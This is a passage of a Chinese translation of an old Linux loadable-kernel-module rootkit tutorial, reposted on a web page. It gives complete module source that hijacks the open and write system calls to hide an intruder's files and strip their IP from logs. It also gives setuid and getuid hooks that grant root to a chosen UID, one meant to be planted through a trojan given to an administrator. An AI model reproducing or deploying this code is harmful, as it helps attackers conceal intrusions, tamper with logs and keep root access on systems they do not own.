ourtool’就可以。所以你的工具不要用很详细的名字如sniffer,mountdxpl.c等等。当然还有办
法防止管理员读你的文件,接着读吧。
4.2如何隐藏文件内容(总体说明)
我从未看到过隐藏文件内容的真正实现程序,当然在一些象AFHRM的MichalZalewski写
的LKM中有控制内容/删除函数,但不是真正的隐藏内容。我怀疑有很多人就这样做,但没
谁写出来过,所以我写了。很清楚,有很多办法做这些,第一种办法很简单,截获open系
统调用检查文件名是不是’ourtool’,如果是就否决任何打开文件的尝试,所以读/写或其它事
情都不能做。让我们实现这个LKM:
#define MODULE
#define __KERNEL__
#include < LINUX module.h>
#include < LINUX kernel.h>
#include < ASM unistd.h>
#include < SYS syscall.h>
#include < SYS types.h>
#include < ASM fcntl.h>
#include < ASM errno.h>
#include < LINUX types.h>
#include < LINUX dirent.h>
#include < SYS mman.h>
#include < LINUX string.h>
#include < LINUX fs.h>
#include < LINUX malloc.h>
extern void* sys_call_table[];
int (*orig_open)(const char *pathname, int flag, mode_t mode);
int hacked_open(const char *pathname, int flag, mode_t mode)
{
char *kernel_pathname;
char hide[]="ourtool";
/*把文件名传到内核空间*/
kernel_pathname = (char*) kmalloc(256, GFP_KERNEL);
memcpy_fromfs(kernel_pathname, pathname, 255);
if (strstr(kernel_pathname, (char*)&hide ) != NULL)
{
kfree(kernel_pathname);
/*返回错误代码'file does not exist'*/
return -ENOENT;
}
else
{
kfree(kernel_pathname);
/*如果不是处理我们的’ourtool’,一切照常*/
return orig_open(pathname, flag, mode);
}
}
int init_module(void) /*module setup*/
{
orig_open=sys_call_table[SYS_open];
sys_call_table[SYS_open]=hacked_open;
return 0;
}
void cleanup_module(void) /*module shutdown*/
{
sys_call_table[SYS_open]=orig_open;
}
这个LKM工作的非常好,它告诉任何尝试访问我们文件的人,文件不存在。但我们自己如
何访问这些文件呢,有好多方法
设置一个magic-string
检查uid或gid(要求建立某一特定用户)
检查时间
4.3如何隐藏文件的特定部分(源语示例)
在3.2中提到的方法对我们自己的工具/记录都是非常有用的。但用来修改管理员/其它用户
的文件会怎样呢?想象一下你想控制/var/log/messages中关于你的IP地址/DNS名称的那些
记录项。我们知道成百上千个后门用来在任何记录文件中隐藏我们的标记,但LKM究竟怎
样滤掉写向文件的任何字符串(数据)的呢。如果这个字符串包含任何有关我们标记(例如
IP地址)的任何数据,我们应该否决(可以简单的忽略/返回)。下面的实现是非常基本的
原型LKM,只用来展示。我以前从未见过,但从3.2可知有些人已经这么做了很多年了。
#define MODULE
#define __KERNEL__
#include < LINUX module.h>
#include < LINUX kernel.h>
#include < ASM unistd.h>
#include < SYS syscall.h>
#include < SYS types.h>
#include < ASM fcntl.h>
#include < ASM errno.h>
#include < LINUX types.h>
#include < LINUX dirent.h>
#include < SYS mman.h>
#include < LINUX string.h>
#include < LINUX fs.h>
#include < LINUX malloc.h>
extern void* sys_call_table[];
int (*orig_write)(unsigned int fd, char *buf, unsigned int count);
int hacked_write(unsigned int fd, char *buf, unsigned int count)
{
char *kernel_buf;
char hide[]="127.0.0.1"; /*我们想要隐藏的IP地址*/
kernel_buf = (char*) kmalloc(1000, GFP_KERNEL);
memcpy_fromfs(kernel_buf, buf, 999);
if (strstr(kernel_buf, (char*)&hide ) != NULL)
{
kfree(kernel_buf);
/*告诉程序,我们已经写了1字节*/
return 1;
}
else
{
kfree(kernel_buf);
return orig_write(fd, buf, count);
}
}
int init_module(void) /*module setup*/
{
orig_write=sys_call_table[SYS_write];
sys_call_table[SYS_write]=hacked_write;
return 0;
}
void cleanup_module(void) /*module shutdown*/
{
sys_call_table[SYS_write]=orig_write;
}
这个LKM有几个不好的地方,它不检查写的对象(可用fd检查,读一些例子)。这意味
着象’echo ‘127.0.0.1’’也会被禁止。你也可以修改将被写入的字符串,所以它可能是你喜欢
的某个人的IP地址....总之,基本思想是很清楚的。
4.4如何重定向/监视文件操作
很古老的思路,最先被AFHRM的Michal Zalewski实现。这里我就不写任何代码了,因为
太容易实现了(你看过II.4.3/II.4.2之后)。在很多事情上你可以监视/重定向文件系统事件:
某人写文件->拷贝内容到另一个文件=>可通过sys_write(...)完成重定向。
某人能读敏感文件->监视某个文件的读=>可通过sys_read(...)完成重定向。
打开文件->我们可以监视整个系统的这类事件=>截获sys_open(...)并写入记录文件;这是
AFHRM监视系统中文件的方法(源码见IV.3)
link/unlink事件->监视所有链接的创建=>截获sys_link(...)(源码见IV.3)
rename事件->监视所有改文件名的事件=>截获sys_rename(...)(源码见IV.3)
...
有一点非常有趣(尤其对管理员),因为你可以监视整个系统的文件变化。我认为,监视
用’touch’和’mkdir’命令建立的文件/目录也很有意思。
例如’touch’命令不用open创建文件;用strace命令显示如下(节选):
...
stat("ourtool", 0xbffff798) = -1 ENOENT (无此文件或目录)
creat("ourtool", 0666) = 3
close(3) = 0
_exit(0) = ?
如你所见,系统用调用sys_creat(...)来创建新文件。我认为这里提供源代码就没必要了,太
琐碎了,不过就是截获sys_creat(...)然后用printk(...)把所有文件名写入记录文件。
这些就是AFHRM记录所有重要事件的方法。
这种黑客方法不单针对文件系统,对一般的权限问题也非常重要。猜一下应截获哪个系统调
用。Phrack(plaguez)建议用万能UID接管sys_setuid(...)。这意味着无论何时用万能UID使用
setuid时,模块将把UID置0(超级用户)。
让我们看一下他的实现(只有hacked_setuid系统调用):
...
int hacked_setuid(uid_t uid)
{
int tmp;
/*我们有万能UID吗(在LKM中前面的某处定义) */
if (uid == MAGICUID) {
/*如成立将所有的UIDs置0 (超级用户)*/
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
return 0;
}
tmp = (*o_setuid) (uid);
return tmp;
}
...
我认为下面的技巧在某些情况下也很有用。想象一下这样的情形:你给了(非常蠢的)管理
员一个恶意木马;这个木马安装了如下LKM到系统中[我没有实现隐藏功能,这只是我思
路的一个框架]:
#define MODULE
#define __KERNEL__
#include < LINUX module.h>
#include < LINUX kernel.h>
#include < ASM unistd.h>
#include < SYS syscall.h>
#include < SYS types.h>
#include < ASM fcntl.h>
#include < ASM errno.h>
#include < LINUX types.h>
#include < LINUX dirent.h>
#include < SYS mman.h>
#include < LINUX string.h>
#include < LINUX fs.h>
#include < LINUX malloc.h>
extern void* sys_call_table[];
int (*orig_getuid)();
int hacked_getuid()
{
int tmp;
/*检查是否我的UID*/
if (current->uid=500) {
/*如果是我的UID -> 意味着我在登录->给我一个rootshell*/
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
return 0;
}
tmp = (*orig_getuid) ();
return tmp;
}
int init_module(void) /*module setup*/
{
orig_getuid=sys_call_table[SYS_getuid];
sys_call_table[SYS_getuid]=hacked_getuid;
return 0;
}
void cleanup_module(void) /*module shutdown*/
{
sys_call_table[SYS_getuid]=orig_getuid;
}
如果这个LKM被加载到我们只是普通用户的操作系统中,登录之后我们会得到一个
rootshell (当前进程有超级用户权力)。如我在第一部分提到的,current指的是当前任务(task)
结构。
4.6如何使黑客工具目录不可访问
对黑客来说建个目录放自己经常使用的工具很重要(黑客高手不使用常规的本地文件系统存
放数据)。用getdents方法可以隐藏我们的目录/文件,用open方法可使我们的文件不可访
问,但如何使我们的目录不可访问呢?
象通常的做法一样,看一下include/sys/syscall.h,你会发现SYS_chdir是我们要的系统调用
(不信的话可用strace命令看一下’cd’)。这次我不给出源码,因为你只需截获sys_mkdir,
做一下字符串比较。然后做常规调用(如不是我们的目录)或返回ENOTDIR(意味着‘此目
录不存在’)。现在你的工具中级管理员就不能发现了(高级/有病的管理员会在最底层扫描
硬盘,但在今天除了我们谁会这么疯狂?!)这种硬盘扫描也可击败,因为所有的一切都是
基于系统调用的。
GitHub 加速计划 / li / linux-dash
6
1
下载
A beautiful web dashboard for Linux
最近提交(Master分支:3 个月前 )
186a802e
added ecosystem file for PM2 4 年前
5def40a3
Add host customization support for the NodeJS version 4 年前
更多推荐
已为社区贡献3条内容
所有评论(0)